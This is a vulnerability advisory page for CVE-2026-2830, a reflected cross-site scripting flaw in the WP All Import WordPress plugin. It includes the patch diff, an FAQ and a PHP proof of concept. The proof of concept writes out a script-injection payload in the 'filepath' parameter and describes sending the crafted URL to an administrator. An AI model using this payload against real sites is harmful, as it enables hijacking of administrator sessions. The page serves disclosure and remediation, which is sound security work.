Atomic Edge analysis of CVE-2026-2830:
The vulnerability exists in the WP All Import plugin’s admin interface file upload component. The root cause is insufficient output escaping when rendering the ‘filepath’ parameter value in the plugin’s admin view. The vulnerable code in /wp-all-import/views/admin/import/index.php at line 84 directly echoes the user-controlled $post[‘filepath’] value without proper escaping. This allows reflected XSS when an attacker crafts a malicious URL containing JavaScript in the filepath parameter. The exploitation method requires an attacker to trick an authenticated administrator into clicking a specially crafted link that includes the malicious filepath parameter. The attack vector targets the plugin’s import management page at /wp-admin/admin.php?page=pmxi-admin-import. The patch adds proper output escaping using esc_attr() for the hidden input value at line 84 and esc_html() for the displayed filename at line 88. These functions ensure any HTML special characters are converted to their entity equivalents, preventing script execution. If exploited, this vulnerability allows unauthenticated attackers to execute arbitrary JavaScript in the context of an authenticated administrator’s session, potentially leading to site takeover or data theft.

CVE-2026-2830: WP All Import <= 4.0.0 – Reflected Cross-Site Scripting via 'filepath' (wp-all-import)
CVE-2026-2830
wp-all-import
4.0.0
4.0.1
Analysis Overview
Differential between vulnerable and patched code
--- a/wp-all-import/plugin.php
+++ b/wp-all-import/plugin.php
@@ -3,7 +3,7 @@
Plugin Name: WP All Import
Plugin URI: https://www.wpallimport.com/wordpress-xml-csv-import/?utm_source=import-plugin-free&utm_medium=wp-plugins-page&utm_campaign=upgrade-to-pro
Description: The most powerful solution for importing XML and CSV files to WordPress. Create Posts and Pages with content from any XML or CSV file. A paid upgrade to WP All Import Pro is available for support and additional features.
-Version: 4.0.0
+Version: 4.0.1
Author: Soflyy
*/
@@ -25,7 +25,7 @@
*/
define('WP_ALL_IMPORT_PREFIX', 'pmxi_');
-define('PMXI_VERSION', '4.0.0');
+define('PMXI_VERSION', '4.0.1');
define('PMXI_EDITION', 'free');
--- a/wp-all-import/vendor/composer/autoload_psr4.php
+++ b/wp-all-import/vendor/composer/autoload_psr4.php
@@ -10,8 +10,7 @@
'ZipStream\' => array($vendorDir . '/maennchen/zipstream-php/src'),
'Symfony\Polyfill\Mbstring\' => array($vendorDir . '/symfony/polyfill-mbstring'),
'Psr\SimpleCache\' => array($vendorDir . '/psr/simple-cache/src'),
- 'Psr\Http\Message\' => array($vendorDir . '/psr/http-factory/src', $vendorDir . '/psr/http-message/src'),
- 'Psr\Http\Client\' => array($vendorDir . '/psr/http-client/src'),
+ 'Psr\Http\Message\' => array($vendorDir . '/psr/http-message/src'),
'PhpOffice\PhpSpreadsheet\' => array($vendorDir . '/phpoffice/phpspreadsheet/src/PhpSpreadsheet'),
'MyCLabs\Enum\' => array($vendorDir . '/myclabs/php-enum/src'),
'Matrix\' => array($vendorDir . '/markbaker/matrix/classes/src'),
--- a/wp-all-import/vendor/composer/autoload_static.php
+++ b/wp-all-import/vendor/composer/autoload_static.php
@@ -28,7 +28,6 @@
array (
'Psr\SimpleCache\' => 16,
'Psr\Http\Message\' => 17,
- 'Psr\Http\Client\' => 16,
'PhpOffice\PhpSpreadsheet\' => 25,
),
'M' =>
@@ -62,12 +61,7 @@
),
'Psr\Http\Message\' =>
array (
- 0 => __DIR__ . '/..' . '/psr/http-factory/src',
- 1 => __DIR__ . '/..' . '/psr/http-message/src',
- ),
- 'Psr\Http\Client\' =>
- array (
- 0 => __DIR__ . '/..' . '/psr/http-client/src',
+ 0 => __DIR__ . '/..' . '/psr/http-message/src',
),
'PhpOffice\PhpSpreadsheet\' =>
array (
--- a/wp-all-import/vendor/composer/installed.php
+++ b/wp-all-import/vendor/composer/installed.php
@@ -3,7 +3,7 @@
'name' => 'soflyy/wp-all-import',
'pretty_version' => 'dev-master',
'version' => 'dev-master',
- 'reference' => 'd4e7ab1ff3454060bd5d9a3e4792adb29e62d95a',
+ 'reference' => 'c473ba134d65dcbe566640a1c05790f0fc8427d8',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -74,32 +74,14 @@
'dev_requirement' => false,
),
'phpoffice/phpspreadsheet' => array(
- 'pretty_version' => '1.30.1',
- 'version' => '1.30.1.0',
- 'reference' => 'fa8257a579ec623473eabfe49731de5967306c4c',
+ 'pretty_version' => '1.30.2',
+ 'version' => '1.30.2.0',
+ 'reference' => '09cdde5e2f078b9a3358dd217e2c8cb4dac84be2',
'type' => 'library',
'install_path' => __DIR__ . '/../phpoffice/phpspreadsheet',
'aliases' => array(),
'dev_requirement' => false,
),
- 'psr/http-client' => array(
- 'pretty_version' => '1.0.3',
- 'version' => '1.0.3.0',
- 'reference' => 'bb5906edc1c324c9a05aa0873d40117941e5fa90',
- 'type' => 'library',
- 'install_path' => __DIR__ . '/../psr/http-client',
- 'aliases' => array(),
- 'dev_requirement' => false,
- ),
- 'psr/http-factory' => array(
- 'pretty_version' => '1.1.0',
- 'version' => '1.1.0.0',
- 'reference' => '2b4765fddfe3b508ac62f829e852b1501d3f6e8a',
- 'type' => 'library',
- 'install_path' => __DIR__ . '/../psr/http-factory',
- 'aliases' => array(),
- 'dev_requirement' => false,
- ),
'psr/http-message' => array(
'pretty_version' => '1.1',
'version' => '1.1.0.0',
@@ -121,7 +103,7 @@
'soflyy/wp-all-import' => array(
'pretty_version' => 'dev-master',
'version' => 'dev-master',
- 'reference' => 'd4e7ab1ff3454060bd5d9a3e4792adb29e62d95a',
+ 'reference' => 'c473ba134d65dcbe566640a1c05790f0fc8427d8',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
--- a/wp-all-import/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Calculation.php
+++ b/wp-all-import/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Calculation.php
@@ -2789,6 +2789,7 @@
'category' => Category::CATEGORY_WEB,
'functionCall' => [WebService::class, 'webService'],
'argumentCount' => '1',
+ 'passCellReference' => true,
],
'WEEKDAY' => [
'category' => Category::CATEGORY_DATE_AND_TIME,
--- a/wp-all-import/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Web.php
+++ b/wp-all-import/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Web.php
@@ -21,7 +21,7 @@
* Use the webService() method in the WebService class instead
* @see WebService::webService()
*
- * @return string the output resulting from a call to the webservice
+ * @return ?string the output resulting from a call to the webservice
*/
public static function WEBSERVICE(string $url)
{
--- a/wp-all-import/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Web/Service.php
+++ b/wp-all-import/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Web/Service.php
@@ -2,9 +2,9 @@
namespace PhpOfficePhpSpreadsheetCalculationWeb;
+use PhpOfficePhpSpreadsheetCalculationFunctions;
use PhpOfficePhpSpreadsheetCalculationInformationExcelError;
-use PhpOfficePhpSpreadsheetSettings;
-use PsrHttpClientClientExceptionInterface;
+use PhpOfficePhpSpreadsheetCellCell;
class Service
{
@@ -16,36 +16,51 @@
* Excel Function:
* Webservice(url)
*
- * @return string the output resulting from a call to the webservice
+ * @param mixed $url
+ *
+ * @return ?string the output resulting from a call to the webservice
*/
- public static function webService(string $url)
+ public static function webService($url, ?Cell $cell = null)
{
+ if (is_array($url)) {
+ $url = Functions::flattenSingleValue($url);
+ }
+ if (!is_string($url)) {
+ return ExcelError::VALUE(); // Invalid URL length
+ }
$url = trim($url);
- if (strlen($url) > 2048) {
+ if (mb_strlen($url) > 2048) {
return ExcelError::VALUE(); // Invalid URL length
}
-
- if (!preg_match('/^http[s]?:///', $url)) {
+ $parsed = parse_url($url);
+ $scheme = $parsed['scheme'] ?? '';
+ if ($scheme !== 'http' && $scheme !== 'https') {
return ExcelError::VALUE(); // Invalid protocol
}
-
- // Get results from the the webservice
- $client = Settings::getHttpClient();
- $requestFactory = Settings::getRequestFactory();
- $request = $requestFactory->createRequest('GET', $url);
-
- try {
- $response = $client->sendRequest($request);
- } catch (ClientExceptionInterface $e) {
- return ExcelError::VALUE(); // cURL error
+ $domainWhiteList = [];
+ if ($cell !== null) {
+ $parent = $cell->getWorksheet()->getParent();
+ if ($parent !== null) {
+ $domainWhiteList = $parent->getDomainWhiteList();
+ }
}
-
- if ($response->getStatusCode() != 200) {
- return ExcelError::VALUE(); // cURL error
+ $host = $parsed['host'] ?? '';
+ if (!in_array($host, $domainWhiteList, true)) {
+ return ($cell === null) ? null : '#Not Yet Implemented'; // will be converted to oldCalculatedValue or null
}
- $output = $response->getBody()->getContents();
- if (strlen($output) > 32767) {
+ // Get results from the webservice
+ $ctxArray = [
+ 'http' => [
+ 'user_agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
+ ],
+ ];
+ if ($scheme === 'https') {
+ $ctxArray['ssl'] = ['crypto_method' => STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT];
+ }
+ $ctx = stream_context_create($ctxArray);
+ $output = @file_get_contents($url, false, $ctx);
+ if ($output === false || mb_strlen($output) > 32767) {
return ExcelError::VALUE(); // Output not a string or too long
}
--- a/wp-all-import/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Settings.php
+++ b/wp-all-import/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Settings.php
@@ -5,8 +5,6 @@
use PhpOfficePhpSpreadsheetCalculationCalculation;
use PhpOfficePhpSpreadsheetChartRendererIRenderer;
use PhpOfficePhpSpreadsheetCollectionMemory;
-use PsrHttpClientClientInterface;
-use PsrHttpMessageRequestFactoryInterface;
use PsrSimpleCacheCacheInterface;
use ReflectionClass;
@@ -37,12 +35,12 @@
/**
* The HTTP client implementation to be used for network request.
*
- * @var null|ClientInterface
+ * @var mixed
*/
private static $httpClient;
/**
- * @var null|RequestFactoryInterface
+ * @var mixed
*/
private static $requestFactory;
@@ -181,8 +179,13 @@
/**
* Set the HTTP client implementation to be used for network request.
+ *
+ * @param mixed $httpClient
+ * @param mixed $requestFactory
+ *
+ * @deprecated 1.30.2 No replacement.
*/
- public static function setHttpClient(ClientInterface $httpClient, RequestFactoryInterface $requestFactory): void
+ public static function setHttpClient($httpClient, $requestFactory): void
{
self::$httpClient = $httpClient;
self::$requestFactory = $requestFactory;
@@ -190,6 +193,8 @@
/**
* Unset the HTTP client configuration.
+ *
+ * @deprecated 1.30.2 No replacement.
*/
public static function unsetHttpClient(): void
{
@@ -199,25 +204,25 @@
/**
* Get the HTTP client implementation to be used for network request.
+ *
+ * @return mixed
+ *
+ * @deprecated 1.30.2 No replacement.
*/
- public static function getHttpClient(): ClientInterface
+ public static function getHttpClient()
{
- if (!self::$httpClient || !self::$requestFactory) {
- throw new Exception('HTTP client must be configured via Settings::setHttpClient() to be able to use WEBSERVICE function.');
- }
-
return self::$httpClient;
}
/**
* Get the HTTP request factory.
+ *
+ * @return mixed
+ *
+ * @deprecated 1.30.2 No replacement.
*/
- public static function getRequestFactory(): RequestFactoryInterface
+ public static function getRequestFactory()
{
- if (!self::$httpClient || !self::$requestFactory) {
- throw new Exception('HTTP client must be configured via Settings::setHttpClient() to be able to use WEBSERVICE function.');
- }
-
return self::$requestFactory;
}
}
--- a/wp-all-import/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Spreadsheet.php
+++ b/wp-all-import/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Spreadsheet.php
@@ -1679,4 +1679,25 @@
}
}
}
+
+ /** @var string[] */
+ private $domainWhiteList = [];
+
+ /**
+ * Currently used only by WEBSERVICE function.
+ *
+ * @param string[] $domainWhiteList
+ */
+ public function setDomainWhiteList(array $domainWhiteList): self
+ {
+ $this->domainWhiteList = $domainWhiteList;
+
+ return $this;
+ }
+
+ /** @return string[] */
+ public function getDomainWhiteList(): array
+ {
+ return $this->domainWhiteList;
+ }
}
--- a/wp-all-import/vendor/psr/http-client/src/ClientExceptionInterface.php
+++ b/wp-all-import/vendor/psr/http-client/src/ClientExceptionInterface.php
@@ -1,10 +0,0 @@
-<?php
-
-namespace PsrHttpClient;
-
-/**
- * Every HTTP client related exception MUST implement this interface.
- */
-interface ClientExceptionInterface extends Throwable
-{
-}
--- a/wp-all-import/vendor/psr/http-client/src/ClientInterface.php
+++ b/wp-all-import/vendor/psr/http-client/src/ClientInterface.php
@@ -1,20 +0,0 @@
-<?php
-
-namespace PsrHttpClient;
-
-use PsrHttpMessageRequestInterface;
-use PsrHttpMessageResponseInterface;
-
-interface ClientInterface
-{
- /**
- * Sends a PSR-7 request and returns a PSR-7 response.
- *
- * @param RequestInterface $request
- *
- * @return ResponseInterface
- *
- * @throws PsrHttpClientClientExceptionInterface If an error happens while processing the request.
- */
- public function sendRequest(RequestInterface $request): ResponseInterface;
-}
--- a/wp-all-import/vendor/psr/http-client/src/NetworkExceptionInterface.php
+++ b/wp-all-import/vendor/psr/http-client/src/NetworkExceptionInterface.php
@@ -1,24 +0,0 @@
-<?php
-
-namespace PsrHttpClient;
-
-use PsrHttpMessageRequestInterface;
-
-/**
- * Thrown when the request cannot be completed because of network issues.
- *
- * There is no response object as this exception is thrown when no response has been received.
- *
- * Example: the target host name can not be resolved or the connection failed.
- */
-interface NetworkExceptionInterface extends ClientExceptionInterface
-{
- /**
- * Returns the request.
- *
- * The request object MAY be a different object from the one passed to ClientInterface::sendRequest()
- *
- * @return RequestInterface
- */
- public function getRequest(): RequestInterface;
-}
--- a/wp-all-import/vendor/psr/http-client/src/RequestExceptionInterface.php
+++ b/wp-all-import/vendor/psr/http-client/src/RequestExceptionInterface.php
@@ -1,24 +0,0 @@
-<?php
-
-namespace PsrHttpClient;
-
-use PsrHttpMessageRequestInterface;
-
-/**
- * Exception for when a request failed.
- *
- * Examples:
- * - Request is invalid (e.g. method is missing)
- * - Runtime request errors (e.g. the body stream is not seekable)
- */
-interface RequestExceptionInterface extends ClientExceptionInterface
-{
- /**
- * Returns the request.
- *
- * The request object MAY be a different object from the one passed to ClientInterface::sendRequest()
- *
- * @return RequestInterface
- */
- public function getRequest(): RequestInterface;
-}
--- a/wp-all-import/vendor/psr/http-factory/src/RequestFactoryInterface.php
+++ b/wp-all-import/vendor/psr/http-factory/src/RequestFactoryInterface.php
@@ -1,18 +0,0 @@
-<?php
-
-namespace PsrHttpMessage;
-
-interface RequestFactoryInterface
-{
- /**
- * Create a new request.
- *
- * @param string $method The HTTP method associated with the request.
- * @param UriInterface|string $uri The URI associated with the request. If
- * the value is a string, the factory MUST create a UriInterface
- * instance based on it.
- *
- * @return RequestInterface
- */
- public function createRequest(string $method, $uri): RequestInterface;
-}
--- a/wp-all-import/vendor/psr/http-factory/src/ResponseFactoryInterface.php
+++ b/wp-all-import/vendor/psr/http-factory/src/ResponseFactoryInterface.php
@@ -1,18 +0,0 @@
-<?php
-
-namespace PsrHttpMessage;
-
-interface ResponseFactoryInterface
-{
- /**
- * Create a new response.
- *
- * @param int $code HTTP status code; defaults to 200
- * @param string $reasonPhrase Reason phrase to associate with status code
- * in generated response; if none is provided implementations MAY use
- * the defaults as suggested in the HTTP specification.
- *
- * @return ResponseInterface
- */
- public function createResponse(int $code = 200, string $reasonPhrase = ''): ResponseInterface;
-}
--- a/wp-all-import/vendor/psr/http-factory/src/ServerRequestFactoryInterface.php
+++ b/wp-all-import/vendor/psr/http-factory/src/ServerRequestFactoryInterface.php
@@ -1,24 +0,0 @@
-<?php
-
-namespace PsrHttpMessage;
-
-interface ServerRequestFactoryInterface
-{
- /**
- * Create a new server request.
- *
- * Note that server-params are taken precisely as given - no parsing/processing
- * of the given values is performed, and, in particular, no attempt is made to
- * determine the HTTP method or URI, which must be provided explicitly.
- *
- * @param string $method The HTTP method associated with the request.
- * @param UriInterface|string $uri The URI associated with the request. If
- * the value is a string, the factory MUST create a UriInterface
- * instance based on it.
- * @param array $serverParams Array of SAPI parameters with which to seed
- * the generated request instance.
- *
- * @return ServerRequestInterface
- */
- public function createServerRequest(string $method, $uri, array $serverParams = []): ServerRequestInterface;
-}
--- a/wp-all-import/vendor/psr/http-factory/src/StreamFactoryInterface.php
+++ b/wp-all-import/vendor/psr/http-factory/src/StreamFactoryInterface.php
@@ -1,45 +0,0 @@
-<?php
-
-namespace PsrHttpMessage;
-
-interface StreamFactoryInterface
-{
- /**
- * Create a new stream from a string.
- *
- * The stream SHOULD be created with a temporary resource.
- *
- * @param string $content String content with which to populate the stream.
- *
- * @return StreamInterface
- */
- public function createStream(string $content = ''): StreamInterface;
-
- /**
- * Create a stream from an existing file.
- *
- * The file MUST be opened using the given mode, which may be any mode
- * supported by the `fopen` function.
- *
- * The `$filename` MAY be any string supported by `fopen()`.
- *
- * @param string $filename Filename or stream URI to use as basis of stream.
- * @param string $mode Mode with which to open the underlying filename/stream.
- *
- * @return StreamInterface
- * @throws RuntimeException If the file cannot be opened.
- * @throws InvalidArgumentException If the mode is invalid.
- */
- public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface;
-
- /**
- * Create a new stream from an existing resource.
- *
- * The stream MUST be readable and may be writable.
- *
- * @param resource $resource PHP resource to use as basis of stream.
- *
- * @return StreamInterface
- */
- public function createStreamFromResource($resource): StreamInterface;
-}
--- a/wp-all-import/vendor/psr/http-factory/src/UploadedFileFactoryInterface.php
+++ b/wp-all-import/vendor/psr/http-factory/src/UploadedFileFactoryInterface.php
@@ -1,34 +0,0 @@
-<?php
-
-namespace PsrHttpMessage;
-
-interface UploadedFileFactoryInterface
-{
- /**
- * Create a new uploaded file.
- *
- * If a size is not provided it will be determined by checking the size of
- * the file.
- *
- * @see http://php.net/manual/features.file-upload.post-method.php
- * @see http://php.net/manual/features.file-upload.errors.php
- *
- * @param StreamInterface $stream Underlying stream representing the
- * uploaded file content.
- * @param int|null $size in bytes
- * @param int $error PHP file upload error
- * @param string|null $clientFilename Filename as provided by the client, if any.
- * @param string|null $clientMediaType Media type as provided by the client, if any.
- *
- * @return UploadedFileInterface
- *
- * @throws InvalidArgumentException If the file resource is not readable.
- */
- public function createUploadedFile(
- StreamInterface $stream,
- ?int $size = null,
- int $error = UPLOAD_ERR_OK,
- ?string $clientFilename = null,
- ?string $clientMediaType = null
- ): UploadedFileInterface;
-}
--- a/wp-all-import/vendor/psr/http-factory/src/UriFactoryInterface.php
+++ b/wp-all-import/vendor/psr/http-factory/src/UriFactoryInterface.php
@@ -1,17 +0,0 @@
-<?php
-
-namespace PsrHttpMessage;
-
-interface UriFactoryInterface
-{
- /**
- * Create a new URI.
- *
- * @param string $uri
- *
- * @return UriInterface
- *
- * @throws InvalidArgumentException If the given URI cannot be parsed.
- */
- public function createUri(string $uri = ''): UriInterface;
-}
--- a/wp-all-import/views/admin/import/index.php
+++ b/wp-all-import/views/admin/import/index.php
@@ -81,11 +81,11 @@
<div class="wpallimport-upload-type-container" rel="upload_type">
<div id="plupload-ui" class="wpallimport-file-type-options">
<div>
- <input type="hidden" name="filepath" value="<?php echo $post['filepath'] ?>" id="filepath"/>
+ <input type="hidden" name="filepath" value="<?php echo esc_attr($post['filepath']); ?>" id="filepath"/>
<a id="select-files" href="javascript:void(0);" <?php if (empty($post['filepath'])):?>style="display:none;"<?php endif; ?> /><?php _e('Click here to select file from your computer...', 'wp_all_import_plugin'); ?></a>
<div id="progressbar" class="wpallimport-progressbar">
<?php if (!empty($post['filepath'])):?>
- <span><?php _e('Upload Complete', 'wp_all_import_plugin');?></span> - <?php echo basename($post['filepath']); ?>
+ <span><?php _e('Upload Complete', 'wp_all_import_plugin');?></span> - <?php echo esc_html(basename($post['filepath'])); ?>
<?php endif; ?>
</div>
<div id="progress" class="wpallimport-progress" <?php if (!empty($post['filepath'])):?>style="visibility: visible; display: block;"<?php endif; ?>>
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2830 - WP All Import <= 4.0.0 - Reflected Cross-Site Scripting via 'filepath'
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin.php?page=pmxi-admin-import';
// Malicious payload that executes JavaScript when page loads
$payload = '"><script>alert(document.domain)</script>';
// Construct attack URL with malicious filepath parameter
$attack_url = $target_url . '&filepath=' . urlencode($payload);
echo "Attack URL: " . $attack_url . "nn";
echo "To exploit, send this URL to an authenticated WordPress administrator.n";
echo "When the admin visits the URL, the JavaScript payload will execute in their browser.n";
// Optional: Demonstrate automated testing with cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Add admin cookies if available for authenticated testing
// curl_setopt($ch, CURLOPT_COOKIE, "wordpress_logged_in_xxx=xxx");
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo "cURL Error: " . curl_error($ch) . "n";
} else {
// Check if payload appears unescaped in response
if (strpos($response, $payload) !== false) {
echo "VULNERABLE: Payload found unescaped in responsen";
} else {
echo "PATCHED: Payload not found or properly escapedn";
}
}
curl_close($ch);
?>
Frequently Asked Questions
What is CVE-2026-2830?
Overview of the vulnerabilityCVE-2026-2830 is a reflected cross-site scripting (XSS) vulnerability found in the WP All Import plugin for WordPress. It allows unauthenticated attackers to inject arbitrary web scripts via the ‘filepath’ parameter due to insufficient input sanitization and output escaping.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability occurs when the WP All Import plugin renders the ‘filepath’ parameter without proper escaping. An attacker can craft a malicious URL containing JavaScript code in the ‘filepath’ parameter, which gets executed when an authenticated administrator clicks the link.
Who is affected by this vulnerability?
Identifying vulnerable installationsAll installations of the WP All Import plugin version 4.0.0 and earlier are affected. Administrators should check their plugin version in the WordPress admin dashboard under ‘Plugins’ to determine if they are using a vulnerable version.
How can I check if my site is vulnerable?
Steps to verify plugin versionTo check if your site is vulnerable, navigate to the ‘Plugins’ section in the WordPress admin area. Look for the WP All Import plugin and verify its version. If it is 4.0.0 or earlier, your site is vulnerable.
How can I fix this vulnerability?
Updating the pluginThe vulnerability has been patched in version 4.0.1 of the WP All Import plugin. Administrators should update to the latest version immediately to mitigate the risk associated with this vulnerability.
What are the potential risks of this vulnerability?
Understanding the severityThe CVSS score for this vulnerability is 6.1, indicating a medium severity level. If exploited, it could allow attackers to execute arbitrary JavaScript in the context of an authenticated administrator’s session, potentially leading to site takeover or data theft.
What does the CVSS score mean for my site?
Interpreting the risk levelA CVSS score of 6.1 suggests that while the vulnerability is not the most critical, it still poses a significant risk. Administrators should prioritize addressing this vulnerability to protect against potential attacks that could compromise site security.
What is a proof of concept for this vulnerability?
Demonstrating the exploitThe proof of concept for CVE-2026-2830 involves creating a malicious URL that includes a JavaScript payload in the ‘filepath’ parameter. When an authenticated administrator visits this URL, the JavaScript executes, demonstrating how the vulnerability can be exploited.
How can I protect my site from similar vulnerabilities?
Best practices for WordPress securityTo protect against similar vulnerabilities, always keep plugins and themes updated to their latest versions. Implement security measures such as web application firewalls, regular security audits, and user education on the risks of clicking unknown links.
Is there a way to mitigate this vulnerability without updating?
Temporary workaroundsWhile the best solution is to update to version 4.0.1, administrators can temporarily mitigate the risk by disabling the WP All Import plugin until the update can be applied. However, this may impact any ongoing import tasks.
What should I do if I suspect my site has been compromised?
Response to potential exploitationIf you suspect that your site has been compromised due to this vulnerability, immediately update the plugin and conduct a thorough security audit. Check for unauthorized changes, and consider restoring your site from a secure backup.
Where can I find more information about this vulnerability?
Resources for further readingMore information about CVE-2026-2830 can be found on the official CVE database, security advisories from the plugin developers, and security-focused websites that track vulnerabilities in WordPress plugins.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






